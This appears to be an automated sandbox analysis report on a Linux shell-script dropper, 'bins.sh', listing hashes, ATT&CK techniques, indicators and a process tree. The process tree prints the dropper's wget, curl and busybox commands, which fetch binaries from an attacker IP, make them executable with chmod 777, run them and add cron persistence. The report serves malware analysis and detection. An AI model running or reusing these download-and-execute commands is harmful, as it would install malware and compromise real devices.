1cbee62a5d7792a425ca7b4d1e6c5e9246abcfa4fe56c3fcfadf01197b9fa8a5

Analysis

max time kernel
150s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/11/2024, 18:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241103-w8998atmgl
SHA256 1cbee62a5d7792a425ca7b4d1e6c5e9246abcfa4fe56c3fcfadf01197b9fa8a5
MD5 571a7dd57fb35804f5baa2f8c84d5818
SHA1 90e0c5d6646a59ecabd21e522f1ae375801febbe
SHA512 82b7beb7a33a5d410326456ffc602ca7e59348c6854ed9fce80acb410b9bcccb61c17b0068445761ad9c188713b835fa1278c7e9f3284211bdebe6f5bbfd2424
SSDEEP 192:5dn6m9yXi/cbjY9RcUyJZC3zQkzb6m9yXi4bjY9ROJZC3zf:5dn6m9yXi/cbjY9RcUkkzb6m9yXi4bjs
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1798) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
704	chmod
769	chmod
777	chmod
786	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu	705	Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu
/tmp/tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl	770	tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl
/tmp/aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh	778	aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh
/tmp/1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn	787	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn

Renames itself 1 IoCs

pid	Process
788	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ZHw9Ho	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/16/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/921/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/972/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/7/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/824/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/844/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/889/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/939/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/21/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/817/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/826/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/962/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/967/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/9/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/25/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/876/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/842/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/879/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/1014/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/29/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/109/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/899/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/910/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/992/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/1009/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/22/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/832/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/858/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/940/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/986/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/5/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/6/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/806/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/882/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/983/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/1010/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/132/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/141/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/605/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/606/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/800/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/955/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/4/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/865/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/600/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/863/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/1004/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/598/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/802/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/841/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/852/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/954/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/807/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/888/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/908/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/947/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/14/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/822/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/938/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/945/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/960/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/15/cmdline	1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn	curl
File opened for modification	/tmp/1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn	busybox
File opened for modification	/tmp/Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu	curl
File opened for modification	/tmp/Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu	busybox
File opened for modification	/tmp/tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl	wget
File opened for modification	/tmp/tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl	curl
File opened for modification	/tmp/aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh	curl
File opened for modification	/tmp/aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh	busybox
File opened for modification	/tmp/Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu	wget
File opened for modification	/tmp/tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl	busybox
File opened for modification	/tmp/aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh	wget
File opened for modification	/tmp/1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:654
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:656
- /usr/bin/wget
  wget http://87.120.84.230/bins/Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu
  2⤵
  - Writes file to tmp directory
  PID:661
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:678
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu
  2⤵
  - Writes file to tmp directory
  PID:692
- /bin/chmod
  chmod 777 Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /tmp/Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu
  ./Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu
  2⤵
  - Executes dropped EXE
  PID:705
- /bin/rm
  rm Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu
  2⤵
  PID:708
- /usr/bin/wget
  wget http://87.120.84.230/bins/tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl
  2⤵
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl
  2⤵
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod 777 tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl
  ./tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl
  2⤵
  PID:773
- /usr/bin/wget
  wget http://87.120.84.230/bins/aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh
  2⤵
  - Writes file to tmp directory
  PID:774
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:775
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh
  2⤵
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod 777 aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh
  ./aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh
  2⤵
  PID:780
- /usr/bin/wget
  wget http://87.120.84.230/bins/1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
  2⤵
  - Writes file to tmp directory
  PID:781
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:784
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
  2⤵
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod 777 1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
  ./1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:787
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:789
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:790
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:791
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:792
- /bin/rm
  rm 1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
  2⤵
  PID:794
- /usr/bin/wget
  wget http://87.120.84.230/bins/xGJUnY1U7vLRHTCmcWWiRKaZuGvImXT9MB
  2⤵
  PID:797

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn

Path /tmp/1BEmwqYE7dcJKtYooFNkJC340WJsY3Gzzn
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

Submit Download

Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu

Path /tmp/Pu5Ha8X9ucg2luLnBB2xSPT1nHfzmmCqEu
Size 111KB
SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
MD5 ca897a38f23ec23521ce0b1b83f8422d
SHA1 b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA512 10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
SSDEEP 3072:/hn2ZF7rLLveDuceOZ8r4xcG0m/pOQbZJXx35zzp:QZF7rLLveDYOZa46G0m/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

Submit Download

aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh

Path /tmp/aM5BtAWMNZKYDHwl5bSlhboCnhlOgJgpJh
Size 111KB
SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
MD5 701e7a55a4f3650f5feee92a9860e5fc
SHA1 6ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA512 7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
SSDEEP 3072:IF2Z9LeHHHPfbLGR0+XrOcVm/pOQbZJXx35zzp:fZ9LeHHHPfnGRJ7OcVm/pOQbZJXx5zzp
MD5 SHA1 SHA512 SSDEEP

Submit Download

tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl

Path /tmp/tJ6AdesSOUtfLf4WkbAh63gWHuBQ5fzjsl
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.ZHw9Ho

Path /var/spool/cron/crontabs/tmp.ZHw9Ho
Size 210B
SHA256 ee4500a884f074e9b4b1cea5eb93c9a70414b9de59d71f3383e7b8880b75a4e2
MD5 ea4ca5f703e0f4eb056b29f7c84ea959
SHA1 2cf665f6455964213f336fa166eb7a9ffcfe7068
SHA512 73e761ae3afc43768e65d1815091b982c0e01a9cdc4c6b258a0c3c3c0cce70b2fd8f6260d3d07a4acbd2c15a8ff55c66a4ebed4f539d0e7d87f952d3d0fc891a
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads